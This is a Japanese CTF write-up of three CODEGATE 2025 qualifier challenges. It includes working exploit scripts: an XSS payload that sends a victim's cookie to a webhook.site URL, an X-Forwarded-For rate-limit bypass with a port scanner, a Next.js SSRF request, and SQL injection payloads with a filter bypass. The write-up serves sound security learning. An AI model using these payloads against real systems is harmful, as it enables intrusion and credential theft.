3/29に開催された。BunkyoWesternsで参加して18位。予選の上位19チームがソウルで7月に開催される決勝大会に参加できるということで、あと1問解けなければ通過できるか怪しいところだった*1。駆け込みで[AI] rotceteD TPGが解けてよかった。
generalでは少なくともTPCと我々*2が、juniorでも複数名が予選を突破しているということで、昨年に引き続き今年もたくさんの日本人が決勝大会に進めそうでよかった。ソウルで会いましょう。
ところで、よその大きなCTFにぶつけるのはやめてほしい(もっとも、DiceCTFもDiceCTFで急に日程を変更していたが)、またこの規模ならば開催の2か月前には告知してほしいと運営には言いたい。もうちょっとなんとかならんかったか。
- [Web 250] Masquerade (41 solves)
- [Web 250] Hide and Seek (31 solves)
- [AI 250] rotceteD TPG (21 solves)
[Web 250] Masquerade (41 solves)
Enjoy Masquerade with many roles!
(問題サーバのURL)
添付ファイル: for_user.zip
ソースコードを読む
与えられたソースコードをもとにローカルでサービスを立ち上げてアクセスすると、ログインフォームが表示される。適当なパスワードで登録すると、次のようなメニューが表示された。ロールの変更とメモの投稿ができるようになっているように見える。ただ、メモの投稿をしようとしてもForbiddenと怒られるし、ロールも何に変更できるのかよくわからない。ソースコードを読む必要がある。

まずフラグの場所はどこか。flag で検索すると app/utils/report.js が見つかった。これはXSS botのコードで、どうやら通報された投稿にアクセスして、その後で投稿の削除ボタンを押すらしい。その際にユーザ名としてフラグを含んでいるJWTをCookieとして格納している。httpOnly が true でないので、もしどこかにXSSがあれば、document.cookie にアクセスするだけでこのトークンが盗み出せそうだ。
const token = generateToken({ uuid: "codegate2025{test_flag}", role: "ADMIN", hasPerm: true }) const cookies = [{ "name": "jwt", "value": token, "domain": "localhost" }]; // … await browser.setCookie(...cookies); const page = await browser.newPage(); await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" }); await delay(1000); const button = await page.$('#delete'); await button.click(); await delay(1000);
ユーザのロール等について。app/utils/guard.js にユーザの権限をチェックする処理があり、ここでロールが ADMIN であるかを見ている。また、ロールとは別に hasPerm というプロパティをユーザは持っており、これもチェックする関数があるとわかる。
adminのみが閲覧できる /admin 下は adminGuard で保護されている。また、メモが投稿できる /post/write は postGuard で保護されている。通常のユーザは hasPerm が true ではないから、先程は投稿できなかったわけだ。
const adminGuard = (req, res, next) => { if (req.user.role !== "ADMIN") return res.status(403).json({ message: 'Forbidden.' }); next(); }; const postGuard = (req, res, next) => { if (!req.user.hasPerm) return res.status(403).json({ message: 'Forbidden.' }); next(); }; module.exports = { adminGuard, postGuard };
ロールにはどのようなものがあるか。app/routes/user.js で /user/role というAPIが定義されており、ここからロールが変更できるとわかる。
router.post('/role', authenticateJWT, (req, res) => { const { role } = req.body; const token = setRole(req.user.uuid, role); if (!token) return res.status(400).json({ message: "Invalid Role." }); res.json({ message: "Role Changed.", token }); });
そこから呼ばれる setRole の定義は次の通り。5つロールがあるけれども、ADMIN と INSPECTOR に関しては設定させないようチェックされている。また、存在しないロールは設定できないようになっている。
ちなみに、これと同じファイルに setPerm という hasPerm を変更する関数が定義されているけれども、呼び出している箇所を探すと app/routes/admin.js に見つかる。これは /admin 下のルートに対応する処理を定義しているファイルであり、ADMIN にならないと利用できないことがわかる。
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"]; function checkRole(role) { const regex = /^(ADMIN|INSPECTOR)$/i; return regex.test(role); } // … const setRole = (uuid, input) => { const user = getUser(uuid); if (checkRole(input)) return false; if (!role_list.includes(input.toUpperCase())) return false; users.set(uuid, { ...user, role: input.toUpperCase() }); const updated = getUser(uuid); const payload = { uuid, ...updated } delete payload.password; const token = generateToken(payload); return token; };
メモの通報関連は次の通り。これも INSPECTOR のロールでないと呼び出せないらしい。ちなみに、ちゃんと通報されたポストが存在するか getPostById で確認しているので、../../hoge/fuga のようなパスを通報してClient-Side Path Traversalさせるということはできないのだなあ、とこのコードを読んで思った。
router.get('/:post_id', async (req, res) => { const post_id = req.params.post_id; const post = getPostById(post_id); if (!post) return res.status(404).json({ message: "Post Not Found." }); let message; let code; if (req.user.role !== "INSPECTOR") { message = "No Permission."; code = 403; } else { const result = await viewUrl(post_id); message = result ? "Reported." : "Error occurred while check url."; code = result ? 200 : 500; } res.status(code).send(` <script nonce="${res.locals.nonce}"> alert("${message}"); window.location.href = "/post"; </script> `); });
ほかのロール、つまり DEV や BANNED に関しては、後者はログイン時に403が返ってくるだけだし、前者に至っては参照されている箇所がない。
メモを投稿するには hasPerm が必要であって、ユーザに hasPerm を付与するには ADMIN になる必要がある。また、メモを通報するには INSPECTOR になる必要がある。結局のところ、普通に登録するだけでなれる MEMBER や、そこから変更できる DEV や BANNED といったロールでは何もできることはなく、なんとかしてチェックをバイパスし ADMIN や INSPECTOR になる必要があるらしい。
ADMINやINSPECTORになろう
ロール周りの処理に戻る。setRole についてなにか思うことはないかとClaudeに問うてみると、次のチェックについて1個目では素の input が使われているのに対して、2個目では toUpperCase が使われているから、大文字小文字を混ぜた形でロールを指定するとバグるのでないかと言い出した。
if (checkRole(input)) return false; if (!role_list.includes(input.toUpperCase())) return false;
checkRole のチェックで使われている正規表現では i フラグが立っているので無意味だと一瞬思ったものの、ただ、たしかに片方だけ toUpperCase しているのは不思議だ。/^(ADMIN|INSPECTOR)$/i にはマッチしないけれども、大文字に変換すると ADMIN や INSPECTOR になってくれる便利な文字列なんてあるだろうか。
CTFでたまに出る、トルコ語アルファベットの ı を使うトリックを思い出した。念のために次のコードで不思議な文字がないか探してみると、たしかにU+0131であれば、checkRole の正規表現では引っかからない上に、toUpperCase するとU+0049のいつもの I になってくれるとわかる。
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"]; for (let i = 0; i < 0x10000; i++) { const s = `adm${String.fromCodePoint(i)}n`; if (/^(ADMIN|INSPECTOR)$/i.test(s)) continue; if (!role_list.includes(s.toUpperCase())) continue; if (s.toUpperCase() !== 'ADMIN') continue; console.log(i.toString(16), s); }
ADMıN をロールの変更フォームに入力してやると、無事に ADMIN になることができた。INSPECTOR も同様に1文字目をU+0131に変えてやればなれる。

DOM Clobberingで楽しいOpen Redirect
ADMIN ロールを持って /admin/user/perm を叩くことで、自身にメモの書き込み権限を与えることができる。適当にメモを作成すると、明らかにHTML Injectionがあるのだけれども、default-src 'self'; script-src 'nonce-113cf07ec2418b82e58458ab497d4b2c' というnonce-basedなCSPがあるためにXSSにはすぐ持ち込めないことがわかる。

メモの個別ページで実行されるスクリプトは次の通り。window.conf で削除のためのURLが設定されているけれども、もし window.conf が事前に定義されていれば、デフォルト設定ではなくその設定が優先される。そういえばXSS botはこの削除ボタンを押すのだということを思い出した。DOM Clobberingで window.conf と window.conf.deleteUrl を汚してしまおう。
window.conf = window.conf || { deleteUrl: "/post/delete/3497a701-ad76-4e11-88a2-3a4a4f7f1f15" }; window.conf.reportUrl = "/error/role"; const reportButton = document.querySelector("#report"); reportButton.addEventListener("click", () => { location.href = window.conf.reportUrl; }); const deleteButton = document.querySelector("#delete"); deleteButton.addEventListener("click", () => { location.href = window.conf.deleteUrl; });
<a id="conf"><a id="conf" name="deleteUrl" href="https://webhook.site/…"></a></a> という内容のメモを投稿する。そのメモで削除ボタンを押すと、指定したURLに遷移した。INSPECTOR になった上で通報すると、XSS botも同じようにアクセスしてきてくれた。これで任意のページへアクセスさせられる。
ところで、リモートでこれを試そうとしたところ、Hacking Detected! と怒られた。ローカルには存在しないブラックボックスのフィルターがあるらしい。ガチャガチャやっていると、<a/id="conf"><a/id="conf" name="deleteUrl" href="https://webhook.site/…"></a></a> のようにスラッシュを入れることで回避できた。なんだったんだこれは。
XSSに持ち込もう
このサービスでどこかXSSできそうなページはないか。探していると、/admin/test に明らかに様子のおかしいページがあった。どう見てもjavascript-obfuscatorで難読化されている。

適当にdeobfuscateすると、次のようなコードと等価であるとわかる。クエリパラメータのテキストをHTMLとして表示するけれども、DOMPurifyによってサニタイズされている。/admin 下では default-src 'self'; script-src 'self' 'unsafe-inline' とかなりゆるいCSPが適用されており、ここなら楽にXSSできそうだ。
DOMPurify.sanitize でエラーを起こせばサニタイズなしに innerHTML へ代入されるので、XSSに持ち込める。ただ、DOMPurifyのコードを読んでもいい感じにエラーを発生させられそうな方法は見つからない。ほかの方法はないか。
const post_title = document.querySelector('.post_title'), post_content = document.querySelector('.post_content'), error_div = document.querySelector('.error_div') const urlSearch = new URLSearchParams(location.search), title = urlSearch.get('title') const content = urlSearch.get('content') if (!title && !content) { post_content.innerHTML = 'Usage: ?title=a&content=b' } else { try { post_title.innerHTML = DOMPurify.sanitize(title) post_content.innerHTML = DOMPurify.sanitize(content) } catch { post_title.innerHTML = title post_content.innerHTML = content } }
悩んでいると、Satokiさんが /admin//test で回避できると見つけてくれた。DOMPurifyは <script src="../js/purify.min.js"></script> のようにしてローカルから読み込まれていた。相対パスで読み込んでいるので、本来であれば /js/purify.min.js から読み込まれるところ、/admin//test からであれば /admin/js/purify.min.js から読み込もうとして404になる。当然 DOMPurify.sanitize は存在しないのでエラーが発生し、無事にXSSへ持ち込めるというわけだ。
解く
材料が揃った。exploitを書く。
import uuid import httpx p = str(uuid.uuid4()) #BASE_URL = 'http://localhost:3000/' BASE_URL = 'http://(省略)/' with httpx.Client(base_url=BASE_URL) as client: r = client.post('/auth/register', json={ 'password': p }).json() u = r['uuid'] print(f'admin: {u=} {p=}') r = client.post('/auth/login', json={ 'uuid': u, 'password': p }).json() client.cookies['jwt'] = r['token'] # ADMINになる r = client.post('/user/role', json={ 'role': 'adm\u0131n' }).json() client.cookies['jwt'] = r['token'] # 投稿できるようパーミッションを変更 client.post('/admin/user/perm', json={ 'uuid': u, 'value': True }) # もう一度ログインしないと反映されない r = client.post('/auth/login', json={ 'uuid': u, 'password': p }).json() client.cookies['jwt'] = r['token'] # XSSに持ち込めそうな投稿を造るぞう🐘 r = client.post('/post/write', json={ 'title': 'neko', 'content': '''<a/id="conf"><a/id="conf" name="deleteUrl" href="../admin//test?title=a&content=%22><img%20src=1%20onerror='location.href=[`//webhook.site/…?`,document.cookie]'>%22"></a></a>''' }).json() print(r) post_id = r['post']['post_id'] with httpx.Client(base_url=BASE_URL) as client: r = client.post('/auth/register', json={ 'password': p }).json() u = r['uuid'] print(f'insector: {u=} {p=}') r = client.post('/auth/login', json={ 'uuid': u, 'password': p }).json() client.cookies['jwt'] = r['token'] # INSPECTORになる r = client.post('/user/role', json={ 'role': '\u0131nspector' }).json() client.cookies['jwt'] = r['token'] # report! r = client.get(f'/report/{post_id}') print(r.text)
これを実行すると、指定したURLにJWTが飛んでくる。それをパースするとフラグが得られた。
codegate2025{16a7eeb64ec6b150c9308509a039cec0c137dfd766ef13ccb8d6d9e0cf54aef3}
一部をブラックボックスにして手探りでフィルターの挙動を推測させ、バイパスさせるという無駄な一手を増やしたり、/admin/test で無意味にjavascript-obfuscatorを使っていたり、細かな嫌がらせにむっとしつつも、大筋を見ると面白い問題だった。
[Web 250] Hide and Seek (31 solves)
Play Hide-and-Seek with pretty button!
( + I don't know the internal web server's port exactly, but I heard it's "well-known". )(問題サーバのURL)
添付ファイル: for_user.zip
概要
与えられたファイルを展開すると、色々と出てくる。そのうち docker-compose.yml は次のような内容だった。外からアクセスできるのは external だけで、残りの internal-server と internal-db にはアクセスできない。また、external に関連するファイルは含まれていたけれども、internal の方はまったく含まれていない。
このままでは docker compose up できないじゃないかと思うけれども、幸いにも internal-* たちは external からは一切参照されていなかった。よくないけど。そういうわけで、internal-* についてコメントアウトしてやることで無事に起動できた。
version: '3.7' services: external: build: context: ./external restart: always ports: - "3000:3000" networks: prob_network: ipv4_address: 192.168.200.100 internal-server: build: context: ./internal/server restart: always depends_on: - internal-db networks: prob_network: ipv4_address: 192.168.200.120 internal-db: build: context: ./internal/db restart: always networks: prob_network: ipv4_address: 192.168.200.130 networks: prob_network: driver: bridge ipam: config: - subnet: 192.168.200.0/24
external はNext.js製のアプリで、白背景に隠れたボタンを押せというしょうもないゲームだ。Ctrl + A で探すべきボタンはすぐに見つかる。

このボタンを押すと、URLの入力を求められる。適当なURLを入力するとアクセスがあったが、でっていう。Sended としか言われず特にそのレスポンスを得られるわけではないし、internal-server の開いているポートをこれでスキャンしようにも、This IP cannot be used yet. Please Try again later とIPアドレス単位でのレートリミットがあり、たとえ(問題文が言っていることを信じるなら)well-knownなポートに限られているといっても厳しい。どちらもなんとかできないか。

XFFでIPアドレスのチェックを回避できるねえ
URLへのアクセス周りは external/src/app/api/reset-game/route.ts で定義されている。10分に1回だけ任意のURLを fetch できるようにしている。レスポンスボディを得られそうな処理はない。
X-Forwarded-For を参照しているということで、これを使ってバイパスできないかと試してみると、できた。IPアドレスかどうかすらチェックしていないので、適当に生成したランダムな文字列をXFFヘッダに設定してやれば、無制限に fetch させられる。
import { NextRequest, NextResponse } from "next/server"; const blockedIPs = new Set<string>(); export async function POST(req: NextRequest) { console.log(req.headers) const body = await req.json(); const ip = req.headers.get("x-forwarded-for")?.split(",")[0]?.trim() || "unknown"; if (ip === "unknown") { return NextResponse.json({ error: "Unable to get client IP." }, { status: 400 }); } if (blockedIPs.has(ip)) { return NextResponse.json({ error: "This IP cannot be used yet. Please Try again later." }, { status: 403 }); } try { const response = await fetch(`${body.url}?date=${Date()}&message=Congratulation! you found button!`, { method: "GET", redirect: "manual", }); if (!response.ok) { console.log(response); return NextResponse.json({ error: `Failed to fetch the URL. Status: ${response.status}` }, { status: 500 }); } blockedIPs.add(ip); setTimeout(() => blockedIPs.delete(ip), 10 * 60 * 1000); console.log(`IP ${ip} Blocked`); return NextResponse.json({ message: "Sended!" }, { status: 200 }); } catch (error) { if (error instanceof Error) { return NextResponse.json({ error: `An error occurred while fetching. Error message: ${error.message}` }, { status: 500 }); } else { return NextResponse.json({ error: `An unexpected error occurred.` }, { status: 500 }); } }; }
これで何ができるか。ポートスキャン(HTTP(S)を喋るポートに限られるが…)だ。次のようなスクリプトを用意して、internal-server の開いているポートを探す。
import json import uuid import httpx #BASE_URL = 'http://localhost:3000' BASE_URL = 'http://(省略):3000/' # https://github.com/djcas9/ports.json/blob/master/ports.lists.json with open('ports.lists.json', 'r') as f: ports = list(json.load(f).keys()) with httpx.Client(base_url=BASE_URL) as client: for port in ports: r = client.post('/api/reset-game', headers={ 'X-Forwarded-For': str(uuid.uuid4()) }, json={ 'url': f'http://192.168.200.120:{port}' }) if 'message' in r.json(): print(port)
実行すると 808/tcp が開いていることを確認できた。
$ python3 scan.py 808
既知の脆弱性でSSRFできるねえ
開いているポートがわかっても、レスポンスが得られないと困る。実は競技中は初手で npm audit をしており、どうやら脆弱なバージョンのNext.jsを使っているらしいとわかっていた。気になる脆弱性がいくつかある。
$ npm audit … next 9.5.5 - 14.2.24 Severity: critical Next.js Server-Side Request Forgery in Server Actions - https://github.com/advisories/GHSA-fr5h-rqp8-mj6g Next.js Cache Poisoning - https://github.com/advisories/GHSA-gp8f-8m3g-qvj9 Denial of Service condition in Next.js image optimization - https://github.com/advisories/GHSA-g77x-44xx-532m Next.js authorization bypass vulnerability - https://github.com/advisories/GHSA-7gfc-8cq8-jh5f Next.js Allows a Denial of Service (DoS) with Server Actions - https://github.com/advisories/GHSA-7m27-7ghc-44w9 Authorization Bypass in Next.js Middleware - https://github.com/advisories/GHSA-f82v-jwr5-mffw fix available via `npm audit fix --force` Will install next@14.2.26, which is outside the stated dependency range node_modules/next …
最近話題になった脆弱性も含まれているが、今回はmiddlewareが使われていないのでダメだ。ただ、Server ActionsでのSSRF(CVE-2024-34351)は気になる。external/src/app/actions.ts を見るとわかるように、ちゃんとServer Actionsが使われているし。
'use server' import { redirect } from "next/navigation"; export async function redirectGame() { return redirect("/hide-and-seek"); }
azu/nextjs-CVE-2024-34351 でPoCが公開されており、これを http://192.168.200.120:808 へリダイレクトさせるよう変更する。サーバを立ち上げて次のようなリクエストを送ってやると、無事にSSRFできたらしく 192.168.200.120:808 のレスポンスが得られた。
ここで Next-Actions と Next-Router-State-Tree というヘッダを付与しているけれども、これらはWebブラウザでアプリを開いた際に、DevToolsのNetworkタブを開くことでリクエストをキャプチャし手に入れたものを流用している。
$ curl 'http://(問題サーバのIPアドレス):3000/' \
-H 'Host: (攻撃用サーバのホスト名):8000' \
-H 'Origin: http://(攻撃用サーバのホスト名):8000' \
-H 'Accept: text/x-component' \
-H 'Content-Type: text/plain;charset=UTF-8' \
-H 'Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71' \
-H 'Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D' \
--data-raw '[]'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Main Page</title>
</head>
<body>
<h1>Welcome to Internal server!</h1>
<a href="/login">Go to Login Page</a>
<a href="/archive">Go to Archive</a>
</body>
</html>
SQLiするぞう
SSRFで 192.168.200.120:808 の /login にアクセスさせると、次のようなHTMLが返ってきた。POSTはできないので困るけれども、コメントアウトされている箇所を見るに、key というパラメータを付与すればGETでも叩けるのだろうか。
<html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login Page</title> </head> <body> <h1>Login</h1> <!-- Just legacy code. But still work. --> <!-- Test Account: guest / guest --> <!-- <form action="/login" method="get"> <input name="key" type="hidden" value="392cc52f7a5418299a5eb22065bd1e5967c25341"> <label for="name">Username</label> <input name="username" type="text"><br> <label for="name">Password</label> <input name="password" type="text"><br> <button type="submit">Login</button> </form> --> <form action="/login" method="post"> <label for="name">Username</label> <input name="username" type="text"><br> <label for="name">Password</label> <input name="password" type="text"><br> <button type="submit">Login</button> </form> </body> </html>
試しに /login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password=guest を叩いてみると、ログインできた。ただし、adminにならないとダメと言われる。
{"message":"Welcome! guest, You are not admin."}
ログインフォームといえばSQLiだ。ユーザ名を ' にするとエラーが返ってきた。ご丁寧にも実行されたSQLの全文を教えてくれている。
{"message":"Database query failed. Query: SELECT * FROM users WHERE username = 'guest'' AND password = 'guest'"}
/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=a' UNION SELECT 1, 2;%23&password=guest で 1 としてログインできた。
{"message":"Welcome! 1, You are not admin."}
本来成功するはずの ' or 1;# が失敗するけれども、エラーメッセージのSQLを見ることで or が消されるという地味な嫌がらせがあるとわかる。これは oorr で回避できた。どうやら or が存在しなくなるまで繰り返し削除するということはやっていないらしい。
あとはやるだけだ。/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=a' UNION SELECT passwoorrd, 2 FROM users LIMIT 1,1;%23&password=guest で admin のパスワードを取得でき、これがフラグだった。
{"message":"Welcome! codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f79bfb9}, You are not admin."}
codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f79bfb9}
推しHIDE and SEEKはトリプルH。ブラックボックスな部分は大きいけれども、問題文等から推測しやすかったり、脆弱性が見つけやすかったりであまり面倒ではない問題だったように思う。
[AI 250] rotceteD TPG (21 solves)
Tired of Turnitin AI detector? It's time to show your reverse card...
添付ファイル: for_user.zip
与えられたファイルを展開すると、次のようなファイルが出てきた。
$ tree . . ├── encrypt.py ├── essays │ ├── 000.txt │ ├── 001.txt │ ├── 002.txt ... │ ├── 125.txt │ ├── 126.txt │ └── 127.txt ├── generate.py └── output.txt 1 directory, 131 files
generate.py の内容は次の通り。OpenRouterを使い、openai/gpt-4o と qwen/qwen-2.5-72b-instruct というモデルでそれぞれ64個ずつテキストファイルを生成している。テキストの生成にあたり、500ワードのエッセイを書けと指示している。
from openai import OpenAI client = OpenAI( base_url="https://openrouter.ai/api/v1", api_key="<OpenRouter API Key>", ) def generate(model): completion = client.chat.completions.create( model=model, messages=[{ "role": "system", "content": "You are a helpful assistant." }, { "role": "user", "content": "Write a random interesting 500-word essay in English. Do not use markdown formatting. Do not write any title." }] ) return completion.choices[0].message.content for i in range(64): with open(f"gpt/{i:02}.txt", 'w') as f: f.write(generate("openai/gpt-4o")) for i in range(64): with open(f"qwen/{i:02}.txt", 'w') as f: f.write(generate("qwen/qwen-2.5-72b-instruct"))
encrypt.py は次の通り。Qwen2.5とGPT-4oが生成したテキストをシャッフルし、それぞれ0と1という1ビットとみなして128ビットの鍵を作っている。そして、どちらのモデルが生成したかという情報を剥がしたうえで essays/ 下にテキストファイルを保存し、また生成した鍵を使ってフラグをAES-GCMで暗号化し、暗号文と関連する情報を出力している。出力された暗号文等は output.txt に含まれている。
import random from glob import glob from Crypto.Cipher import AES flag = b"codegate2025{fake_flag}" essays = [] for i in range(64): with open(f"gpt/{i:02}.txt") as f: essays.append((f.read(), 1)) with open(f"qwen/{i:02}.txt") as f: essays.append((f.read(), 0)) random.shuffle(essays) key = 0 for i in range(128): with open(f"essays/{i:03}.txt", 'w') as f: f.write(essays[i][0]) key *= 2 key += essays[i][1] key = key.to_bytes(16, byteorder='big') cipher = AES.new(key, AES.MODE_GCM) nonce = cipher.nonce ciphertext, tag = cipher.encrypt_and_digest(flag) print(nonce.hex()) print(ciphertext.hex()) print(tag.hex())
encrypt.py を読んで、essays/ 下にあるテキストがGPT-4oが生成したものか、あるいはQwen2.5が生成したものかを完璧に当てるのがこの問題でやるべきことだとわかった。できるのか?
競技終了の数時間前、我々は予選を通過できるかできないかというボーダーライン上におり、そこでそれなりにsolvesがあり、比較的解きやすそうなこの問題に複数のメンバーが取り組んでいた。その中で、含まれる単語やその組み合わせ等は手がかりにならないか、というような議論があった。
それ以外の情報がないかとテキストファイルを眺めていたところ、たとえば 095.txt が1405ワードであることに気づいた。500-word essayを生成しろと言われているのにひどい。
$ wc -w 095.txt 1405 095.txt
ワード数でソートして真ん中の20個について見てみると、半分近くが600ワードを超えていることがわかった。はっきりと境界が見えないのでこの付近は各モデルが入り混じっているのだろうけれども、それは後々調整するとして、この超過具合を手がかりに見分けられないか。
$ wc -w * | sort | sed -n '55,74p' 571 029.txt 571 045.txt 571 083.txt 573 106.txt 574 008.txt 574 123.txt 575 040.txt 579 076.txt 583 061.txt 584 041.txt 590 122.txt 604 026.txt 604 051.txt 604 052.txt 610 013.txt 611 038.txt 613 072.txt 614 064.txt 629 087.txt 633 103.txt
ここから上はQwen2.5とみなす、ここから下はGPT-4oとみなすというしきい値を用意して、その間にあるテキストファイルについてはブルートフォースでなんとかするスクリプトを用意する。
import binascii import itertools import re from Crypto.Cipher import AES nonce = binascii.unhexlify('3d6b85f9299442b2219a44aee1345e16') ciphertext = binascii.unhexlify('c88f0e97fbe289c7800a68c2aae64a1825e0405cca87f6360e5f194e43978e1772f09a5bd2812cf9db8cf9008be7e34222ed9ee22bf6188358a49ada4e6d5ae16e71b0807d414f') tag = binascii.unhexlify('c58e546b2fed995d0a6a723c8f10f6d1') key = [] cands = [] for i in range(128): with open(f"essays/{i:03}.txt", 'r') as f: s = f.read() l = len(s.split()) if l > 650: # アホすぎるのでQwenとみなす key.append(0) elif l < 565: # ほどほどに賢いのでGPT-4oだろう key.append(1) else: # 判断に困る cands.append(i) key.append(None) ones = key.count(1) f = 64 - ones # 1にすべきビットの数 print(len(cands), f) for s in itertools.combinations(cands, f): k = key[:] for i in s: k[i] = 1 k = [0 if x is None else x for x in k] k_ = 0 for i in k: k_ *= 2 k_ += i k = k_.to_bytes(16, byteorder='big') cipher = AES.new(k, AES.MODE_GCM, nonce=nonce) try: res = cipher.decrypt_and_verify(ciphertext, tag) print('done') print(k) print(res) except Exception as e: pass
これを実行するとフラグが得られた。
$ python3 s.py
26 16
done
b'\xfa\xf23oT\xdd\x03\xedP\x15\x1cHh\xa2\xe1\x9f'
b'codegate2025{AI_Detection_101;now_create_a_startup_with_your_writeup!!}'
codegate2025{AI_Detection_101;now_create_a_startup_with_your_writeup!!}
ちゃんと動いているか検証用に128個のデータを作ったけれども、そのためにOpenRouterに約0.5ドルを払った。最初から本番とは別にダミーのデータを用意しておいてくれてもよかったんじゃないかと思う。
作問者いわく "The intended solution was calculating the perplexity of all given texts using the open weight of Qwen model" というのが想定解法ということで、かわいそう。まさか qwen/qwen-2.5-72b-instruct が500ワードで書けと指示されて1000ワード以上のポエムを出してくるとは思わなかったのだろう。